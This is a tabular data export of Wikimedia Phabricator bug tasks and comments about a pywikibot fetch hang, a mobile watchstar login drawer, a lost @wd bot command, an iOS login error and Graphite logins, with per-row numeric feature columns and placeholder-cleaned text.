438330,fetch hangs if a httplib2.RedirectLimit occurred,ugh. im having difficulty finding it. :/,,,1428098577,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,3.4,0.9,ugh. im having difficulty finding it. :/
438256,fetch hangs if a httplib2.RedirectLimit occurred,"Could you specify? Is there a bug already existing on Phabricator, I couldn't find really one.",,,1428093084,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.95,1.0,"Could you specify? Is there a bug already existing on Phabricator, I couldn't find really one."
437963,fetch hangs if a httplib2.RedirectLimit occurred,"There is another bug about this problem, discussing a solution which catches raised exceptions.",,,1428066211,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,5.125,1.0,"There is another bug about this problem, discussing a solution which catches raised exceptions."
437892,fetch hangs if a httplib2.RedirectLimit occurred,"Change 201696 had a related patch set uploaded (by XZise):
[FIX] Return exception instead of raising it

[[https://gerrit.wikimedia.org/r/201696]]
",,,1428059622,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,14.0,3.6206896551724137,0.8275862068965517,"Change 201696 had a related patch set uploaded (by XZise):
[FIX] Return exception instead of raising it

[[GERRIT_URL]]
"
437890,fetch hangs if a httplib2.RedirectLimit occurred,Ah I think it's not setting `threadedhttp.HttpRequest._data` when that exception occurs and thus it tries to acquire the semaphore. Another problem is that `fetch` does acquire the semaphore but doesn't release it. I'm not sure if that is intentional (that way after the data has been fetched the lock is blocked so when a request happens it can't acquire the lock).,,,1428059409,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7ltw3igjcbv4z3qjfgts,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,3.0,6.0,4.0,3.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,3.0,0.0,11.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,9.0,6.0,9.0,6.0,3.0,14.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,9.0,6.0,1.0,0.0,0.0,0.0,9.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.9285714285714284,0.6571428571428571,Ah I think it's not setting CODE when that exception occurs and thus it tries to acquire the semaphore. Another problem is that CODE does acquire the semaphore but doesn't release it. I'm not sure if that is intentional (that way after the data has been fetched the lock is blocked so when a request happens it can't acquire the lock).
94682,Bug: Dismissing login drawer after clicking watchstar breaks watchstar,"- Open an incognito/private window
- Visit http://en.m.wikipedia.beta.wmflabs.org/wiki/Cat_senses?mobileaction=beta
- Click watchstar
- You should see the login/signup CTA drawer
- Click the bottom arrow to dismiss modal {F107694}
- Try to click watchstar again
- **Nothing happens**

Expected:
- login/signup CTA opens back up",Needs Triage,90.0,1427885922,1429563194.0,PHID-USER-cjstd4vv3u3gq2sijr7d,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-znnxgvjm4emhrahvqdlp,task_description,resolved,True,c3,1,True,False,True,-14,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,3.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4307692307692306,0.6153846153846154,"- Open an incognito/private window
- Visit URL
- Click watchstar
- You should see the login/signup CTA drawer
- Click the bottom arrow to dismiss modal {F107694}
- Try to click watchstar again
- **Nothing happens**

Expected:
- login/signup CTA opens back up"
446613,Bug: Dismissing login drawer after clicking watchstar breaks watchstar,Fixed by https://gerrit.wikimedia.org/r/#/c/204972/,,,1429563086,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-znnxgvjm4emhrahvqdlp,task_subcomment,,True,c3,1,True,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed by URL
439005,Bug: Dismissing login drawer after clicking watchstar breaks watchstar,I can reproduce this. Big edge case but should get fixed sooner rather than later.,,,1428340440,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-znnxgvjm4emhrahvqdlp,task_subcomment,,True,c3,1,True,,,-13,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.9411764705882353,I can reproduce this. Big edge case but should get fixed sooner rather than later.
436459,Bug: Dismissing login drawer after clicking watchstar breaks watchstar,Can somebody else reproduce this? I used Chrome,,,1427885958,,PHID-USER-cjstd4vv3u3gq2sijr7d,False,,,PHID-TASK-znnxgvjm4emhrahvqdlp,task_subcomment,,True,c3,1,True,,,-14,True,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,Can somebody else reproduce this? I used Chrome
94499,Change @wd command to use HTTP endpoint,"```
@wd <query string>
```
should point to https://tools.wmflabs.org/cluestuff/wd/query.cgi?q=<query string> but was never changed. Current implementation suffers from M$/unix translation issues.",Needs Triage,90.0,1427755496,1508437823.0,PHID-USER-332rgmq3myqqjkph3hio,False,PHID-USER-ppytiem7rcsbnstfsrvq,False,PHID-TASK-mpaxujujwxvby5bhcq6w,task_description,declined,True,c3,1,False,False,False,-14,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.32,0.84,"``CODE``
should point to URL string> but was never changed. Current implementation suffers from M$/unix translation issues."
950789,Change @wd command to use HTTP endpoint,"unfortunately if nobody can provide python script that was doing these lookups, we are doomed",,,1508437823,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-mpaxujujwxvby5bhcq6w,task_subcomment,,True,c3,3,True,,,120,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.9375,1.0,"unfortunately if nobody can provide python script that was doing these lookups, we are doomed"
911397,Change @wd command to use HTTP endpoint,it seems that wd script was lost while moving to another instance on labs :( so wd doesn't work at all now,,,1502483520,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-mpaxujujwxvby5bhcq6w,task_subcomment,,True,c3,3,True,,,110,True,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,22.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.6956521739130435,0.9565217391304348,it seems that wd script was lost while moving to another instance on labs :( so wd doesn't work at all now
464888,Change @wd command to use HTTP endpoint,"mhmmm @wd is just running some python script, can you give me the version that does that?",,,1432798091,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-mpaxujujwxvby5bhcq6w,task_subcomment,,True,c3,1,True,,,-5,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,4.5,0.9444444444444444,"mhmmmSCREEN_NAME is just running some python script, can you give me the version that does that?"
93789,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,"iPad mini  iOS 8.2 with Beta 4.0.7.8

1. Install Beta 4.0.7.8 
2. Open the apps and log in - after entering  username/password, click Done.

The error msg is displayed briefly: The operation could not be completed(NSURLErrorDomain error code -999)

There is no noticeable implications after that 
- logging in is successful and quick
- subsequent log out/log in won't display such error.

{F103685}",Needs Triage,90.0,1427223826,1428946038.0,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-TASK-4rj42npfejiv3ppmt7pb,task_description,resolved,True,c3,1,False,False,True,-15,True,0.0,0.0,0.0,1.0,2.0,6.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,10.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,8.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9651162790697674,0.7093023255813954,"iPad mini  iOS 8.2 with Beta 4.0.7.8

1. Install Beta 4.0.7.8 
2. Open the apps and log in - after entering  username/password, click Done.

The error msg is displayed briefly: The operation could not be completed(NSURLErrorDomain error code -999)

There is no noticeable implications after that 
- logging in is successful and quick
- subsequent log out/log in won't display such error.

{F103685}"
444813,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,Checked the fix with 4.1.1(85).,,,1429209366,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-4rj42npfejiv3ppmt7pb,task_subcomment,,True,c3,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Checked the fix with 4.1.1(85).
442277,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,https://gerrit.wikimedia.org/r/#/c/203490 submitted for code review,,,1428708798,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-4rj42npfejiv3ppmt7pb,task_subcomment,,True,c3,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,URL submitted for code review
442260,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,"It appears this surfaces when a valid username and password are entered, then the user taps Done once, then a little under a second later taps Done again. This is causing a networking cancellation, which causes the error. One way to deal with this is to disable the Done button after it has been tapped once until it's done doing it's thing.",,,1428706897,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-4rj42npfejiv3ppmt7pb,task_subcomment,,True,c3,1,True,,,-12,True,0.0,0.0,0.0,3.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,6.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,10.0,6.0,9.0,1.0,1.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,6.0,9.0,1.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,4.0,0.0,0.0,0.0,4.0,0.7142857142857143,"It appears this surfaces when a valid username and password are entered, then the user taps Done once, then a little under a second later taps Done again. This is causing a networking cancellation, which causes the error. One way to deal with this is to disable the Done button after it has been tapped once until it's done doing it's thing."
442241,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,"The issue is still present in 4.1.1(78). 

When reproducing the issue, make sure 
that there are no other instances of beta(if you're testing beta) or alpha(if you're checking alpha) apps installed. ",,,1428704610,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-4rj42npfejiv3ppmt7pb,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,4.097560975609756,0.8536585365853658,"The issue is still present in 4.1.1(78). 

When reproducing the issue, make sure 
that there are no other instances of beta(if you're testing beta) or alpha(if you're checking alpha) apps installed. "
442238,4.0.7.8 - NSURLErrorDomain error code -999 with the first login ,The issue is still present in 4.1.1(78).,,,1428704365,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-4rj42npfejiv3ppmt7pb,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,1.0,The issue is still present in 4.1.1(78).
93158,logins on graphite,"@eevans has reported he can't login on graphite but he already is in the WMF LDAP group, @Coren and I both confirmed that.

Also, the login works for him on Icinga which uses the same groups, and finally, i can't login on Graphite myself either it seems. I simply get a ""wrong password"" reply but i'm using the same credentials as on Icinga which works fine.",Needs Triage,90.0,1426724523,1427381340.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_description,invalid,True,c3,1,True,True,True,-15,True,0.0,0.0,0.0,0.0,3.0,5.0,1.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,6.0,0.0,8.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,1.0,13.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,9.0,6.0,0.0,3.0,0.0,11.0,0.0,3.0,1.0,3.0,1.0,0.0,0.0,0.0,3.8354430379746836,0.6708860759493671,"SCREEN_NAME has reported he can't login on graphite but he already is in the WMF LDAP group,SCREEN_NAME and I both confirmed that.

Also, the login works for him on Icinga which uses the same groups, and finally, i can't login on Graphite myself either it seems. I simply get a ""wrong password"" reply but i'm using the same credentials as on Icinga which works fine."
433272,logins on graphite,I think grafana is the answer for that indeed. Let me close this then. We can always reopen.,,,1427381323,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9047619047619048,I think grafana is the answer for that indeed. Let me close this then. We can always reopen.
433021,logins on graphite,"@Dzahn I can't really speak to how useful this would be, I've never tried it (that's what I was trying to do when I discovered you couldn't login).  With http://grafana.wikimedia.org an option, perhaps it's not necessary.",,,1427334432,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,0.0,17.0,6.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,15.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,6.0,0.0,0.0,0.0,0.0,15.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4583333333333335,0.8125,"SCREEN_NAME I can't really speak to how useful this would be, I've never tried it (that's what I was trying to do when I discovered you couldn't login).  With URL an option, perhaps it's not necessary."
433016,logins on graphite,@eevans i'm afraid it's not. wondering now if we should keep this bug open to support saving graphs and slightly repurpose it,,,1427334012,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,8.0,0.0,12.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.32,0.96,SCREEN_NAME i'm afraid it's not. wondering now if we should keep this bug open to support saving graphs and slightly repurpose it
433013,logins on graphite,"@Dzahn right, that describes what I am seeing.  It was my hope that if logged in I could save graphs, but it sounds like that's not supported.",,,1427333765,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-ck5zs4f6qluz53tzlrnv,task_subcomment,,True,c3,1,False,,,-14,True,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,12.0,0.0,0.0,0.0,0.0,15.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6666666666666665,0.8484848484848485,"SCREEN_NAME right, that describes what I am seeing.  It was my hope that if logged in I could save graphs, but it sounds like that's not supported."
